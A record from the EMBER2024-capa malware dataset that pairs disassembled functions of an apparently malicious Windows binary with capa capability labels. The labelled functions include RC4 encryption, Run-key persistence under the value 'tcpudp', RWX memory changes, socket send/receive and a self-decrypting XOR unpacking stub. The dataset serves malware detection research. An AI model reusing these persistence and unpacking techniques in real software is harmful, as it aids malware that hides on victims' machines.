joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401b54
Capabilities:
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
push ebp
lea ebp, [esp - 0x198]
sub esp, 0x218
mov eax, dword [0x4243b0]
xor eax, ebp
mov dword [ebp + 0x194], eax
mov eax, dword [ebp + 0x1ac]
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x74], edi
xor ecx, ecx
mov eax, ecx
cdq
idiv dword [ebp + 0x1a0]
mov byte [ebp + ecx + 0x94], cl
inc ecx
cmp ecx, 0x100
mov al, byte [edx + str.bDUw5vJOHSrh]
mov byte [ebp + ecx - 0x6d], al
jl 0x401b82
xor esi, esi
movzx ecx, byte [ebp + esi - 0x6c]
lea eax, [ebp + esi + 0x94]
mov dl, byte [eax]
movzx ebx, dl
add ecx, edi
add ebx, ecx
mov edi, ebx
and edi, 0x800000ff
jns 0x401bce
dec edi
or edi, 0xffffff00
inc edi
lea ecx, [ebp + edi + 0x94]
mov bl, byte [ecx]
inc esi
cmp esi, 0x100
mov byte [eax], bl
mov byte [ecx], dl
jl 0x401ba7
mov ecx, dword [ebp + 0x1a8]
xor eax, eax
cmp ecx, eax
mov dword [ebp - 0x78], eax
jle 0x401c63
mov edi, dword [ebp - 0x70]
mov edx, dword [ebp + 0x1a4]
sub edx, edi
mov dword [ebp - 0x80], edx
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x74], ecx
mov esi, 0xff
jmp 0x401c11
mov eax, dword [ebp - 0x7c]
inc eax
and eax, esi
mov dword [ebp - 0x7c], eax
lea eax, [ebp + eax + 0x94]
mov dl, byte [eax]
movzx ecx, dl
add ecx, dword [ebp - 0x78]
and ecx, esi
mov dword [ebp - 0x78], ecx
lea ecx, [ebp + ecx + 0x94]
mov bl, byte [ecx]
mov byte [eax], bl
mov byte [ecx], dl
movzx eax, byte [eax]
movzx ecx, dl
add eax, ecx
and eax, 0x800000ff
jns 0x401c4e
dec eax
or eax, 0xffffff00
inc eax
mov al, byte [ebp + eax + 0x94]
mov ecx, dword [ebp - 0x80]
xor al, byte [ecx + edi]
mov byte [edi], al
inc edi
dec dword [ebp - 0x70]
jne 0x401c0e
mov ecx, dword [ebp + 0x194]
mov eax, dword [ebp - 0x74]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040904e
add ebp, 0x198
leave
ret
Function at 0x401ca0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [esi + 0x3c]
mov ecx, dword [eax + esi + 0x78]
and dword [ebp - 0x18], 0
add ecx, esi
mov edx, dword [ecx + 0x18]
mov eax, dword [ecx + 0x1c]
push ebx
mov ebx, dword [ecx + 0x24]
push edi
mov edi, dword [ecx + 0x20]
mov ecx, dword [ecx + 0x14]
mov dword [ebp - 0x1c], ecx
xor ecx, ecx
add eax, esi
add ebx, esi
add edi, esi
mov dword [ebp - 0x10], edx
mov dword [ebp - 8], ecx
test edx, edx
jbe 0x401d77
movsx edx, word [ebx + ecx*2]
mov dword [ebp - 0x14], edx
cmp ecx, dword [ebp - 0x10]
jae 0x401d88
mov ecx, dword [ebp - 0x1c]
cmp edx, ecx
jae 0x401d88
mov edx, dword [ebp + 8]
mov ecx, dword [ebp - 8]
mov ecx, dword [edi + ecx*4]
mov dword [ebp - 0xc], edx
mov dl, byte [edx]
mov byte [ebp - 1], dl
movzx edx, dl
or edx, 0x20
add ecx, esi
mov dword [ebp - 0x20], edx
movzx edx, byte [ecx]
mov dword [ebp - 0x24], ecx
mov ecx, dword [ebp - 0x20]
or edx, 0x20
sub edx, ecx
jne 0x401d5a
mov cl, byte [ebp - 1]
mov byte [ebp - 1], cl
mov ecx, dword [ebp - 0x24]
sub ecx, dword [ebp + 8]
mov dword [ebp - 0x24], ecx
cmp byte [ebp - 1], 0
je 0x401d5a
mov ecx, dword [ebp - 0xc]
inc ecx
mov dl, byte [ecx]
mov byte [ebp - 1], dl
mov edx, dword [ebp - 0x24]
movzx edx, byte [edx + ecx]
mov dword [ebp - 0xc], ecx
movzx ecx, byte [ebp - 1]
or edx, 0x20
or ecx, 0x20
sub edx, ecx
je 0x401d33
test edx, edx
jl 0x401d67
jle 0x401d63
xor edx, edx
inc edx
test edx, edx
je 0x401d7e
mov ecx, dword [ebp - 8]
inc ecx
mov dword [ebp - 8], ecx
cmp ecx, dword [ebp - 0x10]
jb 0x401cdd
mov eax, dword [ebp - 0x18]
pop edi
pop ebx
leave
ret
mov ecx, dword [ebp - 0x14]
mov eax, dword [eax + ecx*4]
add eax, esi
jmp 0x401d7a
xor eax, eax
jmp 0x401d7a
Function at 0x402f88
Capabilities:
Read file on windows

Disassembly:
push 0x448
mov eax, 0x41e17c
call fcn.0040cac6
mov esi, 0x400
push esi
xor ebx, ebx
lea eax, [ebp - 0x414]
push ebx
push eax
call fcn.0040e530
add esp, 0xc
cmp byte [0x426368], bl
jne 0x403126
lea edx, [edi + 0x38]
lea ecx, [ebp - 0x438]
call fcn.00402e57
mov dword [ebp - 4], ebx
cmp dword [eax + 0x18], 0x10
jb 0x402fd7
mov eax, dword [eax + 4]
jmp 0x402fda
add eax, 4
cmp dword [edi + 0x18], 0x10
jb 0x402fe5
mov ecx, dword [edi + 4]
jmp 0x402fe8
lea ecx, [edi + 4]
lea edx, [ebp - 0x414]
push edx
push eax
push ecx
call fcn.0040203a
add esp, 0xc
mov esi, eax
push ebx
cmp esi, 0xffffffff
sete byte [ebp - 0x415]
or dword [ebp - 4], 0xffffffff
push 1
lea ecx, [ebp - 0x438]
call fcn.0040157d
cmp byte [ebp - 0x415], bl
je 0x403162
cmp byte [ebp + 8], bl
jne 0x403162
lea edx, [edi + 0x54]
lea ecx, [ebp - 0x438]
call fcn.00402e57
mov dword [ebp - 4], 1
cmp dword [eax + 0x18], 0x10
jb 0x40304c
mov eax, dword [eax + 4]
jmp 0x40304f
add eax, 4
cmp dword [edi + 0x34], 0x10
jb 0x40305a
mov ecx, dword [edi + 0x20]
jmp 0x40305d
lea ecx, [edi + 0x20]
lea edx, [ebp - 0x414]
push edx
push eax
push ecx
call fcn.0040203a
add esp, 0xc
mov esi, eax
push ebx
cmp esi, 0xffffffff
sete byte [ebp - 0x415]
or dword [ebp - 4], 0xffffffff
push 1
lea ecx, [ebp - 0x438]
call fcn.0040157d
cmp byte [ebp - 0x415], bl
je 0x403162
lea esi, [ebp - 0x454]
call fcn.00402dfa
mov esi, eax
lea eax, [ebp - 0x438]
push eax
mov dword [ebp - 4], 2
call fcn.00402c5d
pop ecx
mov byte [ebp - 4], 3
cmp dword [esi + 0x18], 0x10
jb 0x4030c8
mov esi, dword [esi + 4]
jmp 0x4030cb
add esi, 4
cmp dword [eax + 0x18], 0x10
jb 0x4030d6
mov eax, dword [eax + 4]
jmp 0x4030d9
add eax, 4
lea ecx, [ebp - 0x414]
push ecx
push esi
push eax
call fcn.0040203a
add esp, 0xc
mov esi, eax
push ebx
cmp esi, 0xffffffff
push 1
lea ecx, [ebp - 0x438]
sete byte [ebp - 0x415]
call fcn.0040157d
or dword [ebp - 4], 0xffffffff
push ebx
push 1
lea ecx, [ebp - 0x454]
call fcn.0040157d
cmp byte [ebp - 0x415], bl
je 0x403162
xor al, al
call fcn.0040cb10
ret
push ebx
push ebx
push 3
push ebx
push 3
push 0x120089
push str.config.stream
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
lea ecx, [ebp - 0x41c]
push ecx
push esi
lea ecx, [ebp - 0x414]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40311e
mov esi, dword [ebp - 0x41c]
cmp esi, ebx
je 0x40311e
lea eax, [ebp - 0x414]
push esi
push eax
mov ecx, edi
call fcn.00402765
pop ecx
test al, al
pop ecx
setne al
jmp 0x403120
Function at 0x40317a
Capabilities:
Get hostname
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x140
mov eax, dword [0x4243b0]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0x7f
mov dword [ebp - 0x140], eax
xor esi, esi
lea eax, [ebp - 0x8b]
push esi
push eax
mov byte [ebp - 0x8c], 0
call fcn.0040e530
add esp, 0xc
push 0x80
lea eax, [ebp - 0x8c]
push eax
call sub.WS2_32.dll_gethostname
test eax, eax
je 0x4031d0
xor al, al
jmp 0x403252
lea eax, [ebp - 0x8c]
push eax
call sub.WS2_32.dll_gethostbyname
mov edi, eax
cmp edi, esi
je 0x4031c9
mov eax, dword [edi + 0xc]
cmp dword [eax], esi
je 0x403231
lea ebx, [ebp - 0x12c]
cmp esi, 0x28
jge 0x403231
movsx ecx, word [edi + 0xa]
push ecx
push dword [esi + eax]
lea eax, [ebp - 0x138]
push eax
call fcn.0040e5b0
add esp, 0xc
push dword [ebp - 0x138]
call sub.WS2_32.dll_inet_ntoa
mov edx, ebx
mov cl, byte [eax]
inc eax
mov byte [edx], cl
inc edx
test cl, cl
jne 0x403218
mov eax, dword [edi + 0xc]
add esi, 4
add ebx, 0x10
cmp dword [esi + eax], 0
jne 0x4031ef
mov edx, dword [ebp - 0x140]
lea eax, [ebp - 0x12c]
mov ecx, eax
sub edx, ecx
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x403241
call sub.WS2_32.dll_WSACleanup
mov al, 1
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040904e
leave
ret

Function at 0x40327d
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x4243b0]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.00403261
lea edx, [ebp - 0x108]
mov cl, byte [eax]
inc eax
mov byte [edx], cl
inc edx
test cl, cl
jne 0x40329b
push esi
push edi
lea edi, [ebp - 0x108]
mov eax, edi
xor esi, esi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4032b4
sub eax, ecx
je 0x4032ec
mov al, byte [ebp + esi - 0x108]
cmp al, 0x2f
je 0x4032ce
cmp al, 0x5c
jne 0x4032d5
lea edi, [ebp + esi - 0x107]
lea eax, [ebp - 0x108]
inc esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4032df
sub eax, edx
cmp esi, eax
jb 0x4032bf
push 0x200
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push edi
lea eax, [ebp - 0x20c]
push eax
push str._s_s
push 0x400
mov esi, 0x426498
push esi
call fcn.00409bef
mov ecx, dword [ebp - 4]
add esp, 0x14
pop edi
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0040904e
leave
ret

Function at 0x40332e
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
call fcn.0040327d
mov edi, eax
xor esi, esi
cmp edi, esi
jne 0x403346
xor al, al
jmp 0x403391
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push esi
push 0xf003f
push esi
push esi
push esi
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x40338f
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push edi
push 1
push esi
push str.tcpudp
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
pop edi
pop esi
leave
ret
Function at 0x403395
Capabilities:
Delete registry value
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4033cf
push str.tcpudp
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret

Function at 0x4033d1
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x84
mov eax, 0x41df32
call fcn.0040cac6
mov eax, dword [ebp + 8]
xor ebx, ebx
push 0x3f
mov dword [ebp - 0x54], eax
lea eax, [ebp - 0x4f]
push ebx
push eax
mov byte [ebp - 0x50], bl
call fcn.0040e530
add esp, 0xc
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x50]
push eax
push ebx
push ebx
push edi
push esi
mov dword [ebp - 0x58], 0x40
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x403460
lea eax, [ebp - 0x50]
push eax
lea ecx, [ebp - 0x90]
call fcn.00401372
push eax
lea ecx, [ebp - 0x74]
mov dword [ebp - 4], ebx
call fcn.004011bf
pop ecx
mov ecx, dword [ebp - 0x54]
push 0xffffffffffffffff
push ebx
push eax
mov byte [ebp - 4], 1
call fcn.0040142d
push ebx
push 1
lea ecx, [ebp - 0x74]
call fcn.0040157d
push ebx
push 1
lea ecx, [ebp - 0x90]
call fcn.0040157d
mov al, 1
jmp 0x403462
xor al, al
call fcn.0040cb10
ret

Function at 0x403468
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x4243b0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
cmp dword [eax + 0x18], 0x10
push ebx
mov ebx, ecx
mov ecx, dword [eax + 0x14]
push esi
jb 0x40348d
mov eax, dword [eax + 4]
jmp 0x403490
add eax, 4
push ecx
push eax
lea ecx, [ebp - 0x20]
call fcn.00401065
cmp dword [ebp - 8], 0x10
mov esi, dword [ebp - 0x1c]
pop ecx
pop ecx
mov eax, esi
jae 0x4034ac
lea eax, [ebp - 0x1c]
mov esi, eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push esi
push 1
push 0
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ebx, eax
neg ebx
push 0
sbb bl, bl
push 1
lea ecx, [ebp - 0x20]
inc bl
call fcn.0040157d
mov ecx, dword [ebp - 4]
pop esi
mov al, bl
xor ecx, ebp
pop ebx
call fcn.0040904e
leave
ret
Function at 0x404b0f
Capabilities:
Hash data with md5

Disassembly:
and dword [eax], 0
and dword [eax + 4], 0
mov dword [eax + 8], 0x67452301
mov dword [eax + 0xc], 0xefcdab89
mov dword [eax + 0x10], 0x98badcfe
mov dword [eax + 0x14], 0x10325476
ret
Function at 0x405bde
Capabilities:
Create thread

Disassembly:
push esi
mov esi, ecx
push edi
lea edi, [esi + 4]
cmp dword [edi], 0xffffffff
je 0x405bef
call fcn.00405bca
push dword [esp + 0xc]
lea ecx, [esi + 0xc]
call fcn.004014bf
push dword [esp + 0x14]
lea ecx, [esi + 0x28]
call fcn.004014bf
cmp dword [edi], 0xffffffff
mov eax, dword [esp + 0x18]
mov dword [esi + 0x48], eax
mov eax, dword [esp + 0x10]
mov dword [esi + 0x44], eax
je 0x405c1f
call fcn.00405bca
push edi
xor eax, eax
push eax
push esi
push 0x405bbc
push eax
push eax
mov dword [esi + 0x4c], 1
call fcn.0040af85
add esp, 0x18
push 0xc8
mov dword [esi + 8], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
pop esi
ret 0x10
Function at 0x405f26
Capabilities:
Get socket status

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0x318
push ebx
push esi
push edi
cdq
mov edi, 0x3e8
idiv edi
mov esi, ecx
xor ecx, ecx
xor edi, edi
mov dword [ebp + 0x70], ecx
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0x1a0], ecx
mov dword [ebp - 0x2a4], ecx
imul edx, edx, 0x3e8
mov dword [ebp + 0x68], eax
mov dword [ebp + 0x6c], edx
cmp dword [ebp + 0x7c], ecx
jbe 0x40606a
jmp 0x405f70
xor ecx, ecx
mov eax, edi
shl eax, 3
movzx ebx, word [eax + esi + 4]
test ebx, 0x300
je 0x405fc1
cmp dword [ebp - 0x9c], 0
jbe 0x405fa0
mov edx, dword [eax + esi]
cmp dword [ebp + ecx*4 - 0x98], edx
je 0x405fa0
inc ecx
cmp ecx, dword [ebp - 0x9c]
jb 0x405f8e
cmp ecx, dword [ebp - 0x9c]
jne 0x405fc1
cmp dword [ebp - 0x9c], 0x40
jae 0x405fc1
mov edx, dword [eax + esi]
mov dword [ebp + ecx*4 - 0x98], edx
inc dword [ebp - 0x9c]
test bl, 0x10
je 0x406006
xor ecx, ecx
cmp dword [ebp - 0x1a0], ecx
jbe 0x405fe5
mov edx, dword [eax + esi]
cmp dword [ebp + ecx*4 - 0x19c], edx
je 0x405fe5
inc ecx
cmp ecx, dword [ebp - 0x1a0]
jb 0x405fd3
cmp ecx, dword [ebp - 0x1a0]
jne 0x406006
cmp dword [ebp - 0x1a0], 0x40
jae 0x406006
mov edx, dword [eax + esi]
mov dword [ebp + ecx*4 - 0x19c], edx
inc dword [ebp - 0x1a0]
test ebx, 0x400
je 0x40604e
xor ecx, ecx
cmp dword [ebp - 0x2a4], ecx
jbe 0x40602d
mov edx, dword [eax + esi]
cmp dword [ebp + ecx*4 - 0x2a0], edx
je 0x40602d
inc ecx
cmp ecx, dword [ebp - 0x2a4]
jb 0x40601b
cmp ecx, dword [ebp - 0x2a4]
jne 0x40604e
cmp dword [ebp - 0x2a4], 0x40
jae 0x40604e
mov edx, dword [eax + esi]
mov dword [ebp + ecx*4 - 0x2a0], edx
inc dword [ebp - 0x2a4]
xor ecx, ecx
mov word [eax + esi + 6], cx
mov eax, dword [eax + esi]
cmp eax, dword [ebp + 0x70]
jbe 0x406060
mov dword [ebp + 0x70], eax
inc edi
cmp edi, dword [ebp + 0x7c]
jb 0x405f6e
lea eax, [ebp + 0x68]
push eax
lea eax, [ebp - 0x2a4]
push eax
lea eax, [ebp - 0x1a0]
push eax
lea eax, [ebp - 0x9c]
push eax
mov eax, dword [ebp + 0x70]
inc eax
push eax
call dword [sym.imp.WS2_32.dll_select]
mov ebx, eax
cmp ebx, 1
jl 0x4060f2
mov edi, dword [ebp + 0x7c]
test edi, edi
jbe 0x4060f2
add esi, 6
lea eax, [ebp - 0x9c]
push eax
push dword [esi - 6]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x4060ba
mov eax, 0x300
or word [esi], ax
lea eax, [ebp - 0x1a0]
push eax
push dword [esi - 6]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x4060d1
or word [esi], 0x10
lea eax, [ebp - 0x2a4]
push eax
push dword [esi - 6]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x4060ec
mov eax, 0x400
or word [esi], ax
add esi, 8
dec edi
jne 0x40609f
pop edi
pop esi
mov eax, ebx
pop ebx
add ebp, 0x74
leave
ret
Function at 0x406ce1
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, esi
push edi
xor edi, edi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x406cef
sub eax, ecx
cmp eax, 0xff
jbe 0x406d05
mov byte [esi + 0xff], dl
mov cl, byte [esi]
xor eax, eax
jmp 0x406d26
cmp cl, 0x2e
jne 0x406d18
inc edi
cmp edi, 3
jg 0x406d2a
jmp 0x406d22
cmp cl, 0x30
jb 0x406d2a
cmp cl, 0x39
ja 0x406d2a
inc eax
mov cl, byte [eax + esi]
test cl, cl
jne 0x406d0b
cmp byte [eax + esi], 0
jne 0x406d7f
cmp edi, 3
jne 0x406d7f
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push str._u._u._u._u__u
push esi
call fcn.0040b457
mov edi, eax
add esp, 0x1c
cmp edi, 4
jl 0x406d7f
mov eax, dword [ebp - 4]
shl eax, 8
xor eax, dword [ebp - 8]
shl eax, 8
xor eax, dword [ebp - 0xc]
shl eax, 8
xor eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.WS2_32.dll_htonl]
cmp edi, 4
je 0x406dd8
mov eax, dword [0x42636c]
push esi
test eax, eax
je 0x406daa
call eax
pop ecx
test eax, eax
jne 0x406dd8
mov eax, dword [0x425270]
test eax, eax
je 0x406da0
push eax
call fcn.0040b8a2
pop ecx
push esi
call dword [0x42636c]
pop ecx
jmp 0x406dd8
call sub.WS2_32.dll_gethostbyname
test eax, eax
jne 0x406dcd
mov eax, dword [0x425270]
test eax, eax
je 0x406dd6
push eax
call fcn.0040b8a2
pop ecx
push esi
call sub.WS2_32.dll_gethostbyname
test eax, eax
je 0x406dd6
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
jmp 0x406dd8
xor eax, eax
pop edi
leave
ret

Function at 0x407163
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
xor esi, esi
mov dword [ebp - 8], edi
cmp dword [0x425210], 0
jne 0x4071e9
push 0x10
pop eax
mov word [ebp - 4], ax
mov eax, dword [ebp + 0x14]
push 1
lea ecx, [ebp - 8]
call fcn.00405f26
mov ebx, eax
pop ecx
test ebx, ebx
jge 0x4071ab
call sub.WS2_32.dll_WSAGetLastError
cmp eax, 0x2733
je 0x4071e2
call sub.WS2_32.dll_WSAGetLastError
cmp eax, 0x2733
je 0x4071e2
cmp ebx, 1
jl 0x4071da
mov eax, dword [ebp + 0x10]
push 0x10
push dword [ebp + 8]
sub eax, esi
push 0
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push eax
push edi
call dword [sym.imp.WS2_32.dll_sendto]
test eax, eax
jge 0x4071e0
call sub.WS2_32.dll_WSAGetLastError
cmp eax, 0x2733
je 0x4071e2
mov eax, esi
pop esi
pop ebx
leave
ret
add esi, eax
cmp esi, dword [ebp + 0x10]
jl 0x40716f
jmp 0x4071da
xor eax, eax
jmp 0x4071dc
Function at 0x4071ed
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp dword [0x425210], 0
mov eax, 0x300
mov dword [ebp - 0xc], esi
mov word [ebp - 8], ax
je 0x40720d
or eax, 0xffffffff
leave
ret
push 1
xor eax, eax
lea ecx, [ebp - 0xc]
call fcn.00405f26
cmp eax, 1
pop ecx
jge 0x407223
xor eax, eax
leave
ret
push ebx
push edi
mov dword [ebp - 4], 0x10
mov ebx, 0x2733
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
call dword [sym.imp.WS2_32.dll_recvfrom]
mov edi, eax
test edi, edi
jge 0x40725f
call sub.WS2_32.dll_WSAGetLastError
cmp eax, ebx
je 0x407231
call sub.WS2_32.dll_WSAGetLastError
cmp eax, ebx
je 0x407231
mov eax, edi
pop edi
pop ebx
leave
ret
Function at 0x40904e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4243b0]
jne 0x409058
repz ret
jmp fcn.0040cb1f

Function at 0x413e17
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x413e48
call fcn.0040cc7a
mov dword [eax], esi
call fcn.0040cc67
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.00409793
add esp, 0x14
push 0x16
pop eax
jmp 0x413e9d
test dword [ebp + 0xc], 0xfffffff9
jne 0x413e24
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x413e75
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0040cc8d
pop ecx
call fcn.0040cc67
mov eax, dword [eax]
jmp 0x413e9d
test al, 0x10
jne 0x413e9b
test al, 1
je 0x413e9b
test byte [ebp + 0xc], 2
je 0x413e9b
call fcn.0040cc7a
mov dword [eax], 5
call fcn.0040cc67
mov dword [eax], 0xd
jmp 0x413e6c
xor eax, eax
pop esi
pop ebp
ret

Function at 0x41766b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040d792
and dword [ebp - 4], 0
cmp dword [0x426244], 0
mov ebx, eax
jne 0x41771c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4177cd
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4177cd
push eax
call fcn.0040d720
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x426244], eax
call esi
push eax
call fcn.0040d720
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x426248], eax
call esi
push eax
call fcn.0040d720
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x42624c], eax
call esi
push eax
call fcn.0040d720
pop ecx
mov dword [0x426254], eax
test eax, eax
je 0x41771c
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040d720
pop ecx
mov dword [0x426250], eax
mov eax, dword [0x426250]
cmp eax, ebx
je 0x417774
cmp dword [0x426254], ebx
je 0x417774
push eax
call fcn.0040d79b
push dword [0x426254]
mov esi, eax
call fcn.0040d79b
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x417774
test edi, edi
je 0x417774
call esi
test eax, eax
je 0x41776b
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x41776b
test byte [ebp - 0xc], 1
jne 0x417774
or dword [ebp + 0x10], 0x200000
jmp 0x4177ad
mov eax, dword [0x426248]
cmp eax, ebx
je 0x4177ad
push eax
call fcn.0040d79b
pop ecx
test eax, eax
je 0x4177ad
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4177ad
mov eax, dword [0x42624c]
cmp eax, ebx
je 0x4177ad
push eax
call fcn.0040d79b
pop ecx
test eax, eax
je 0x4177ad
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x426244]
call fcn.0040d79b
pop ecx
test eax, eax
je 0x4177cd
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4177cf
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40ed58
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffb4
mov dword [esp], eax
lea esi, [esp + 0x30]
lea eax, [esp + 0xc]
push eax
call sub.kernel32.dll_GetSystemInfo_1
mov edi, dword [esp]
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery_1
test eax, eax
je 0x40ee23
jmp 0x40ee17
cmp dword [esi + 0x10], 0x1000
jne 0x40ee03
test byte [esi + 0x15], 1
jne 0x40ee03
mov byte [esp + 4], 0
mov ebp, dword [esi + 0x14]
cmp ebp, 1
je 0x40edb4
cmp ebp, 2
je 0x40edb4
cmp ebp, 0x10
je 0x40edb4
cmp ebp, 0x20
jne 0x40edd0
lea eax, [esp + 8]
push eax
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x40edd0
mov byte [esp + 4], 1
xor ebx, ebx
jmp 0x40ede1
mov eax, dword [esi]
add eax, ebx
call fcn.0040ed50
add ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0xc]
jb 0x40edd4
cmp byte [esp + 4], 0
je 0x40ee03
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov edi, eax
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery_1
test eax, eax
je 0x40ee23
mov eax, dword [esi + 4]
cmp eax, dword [esp]
je 0x40ed89
add esp, 0x4c
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx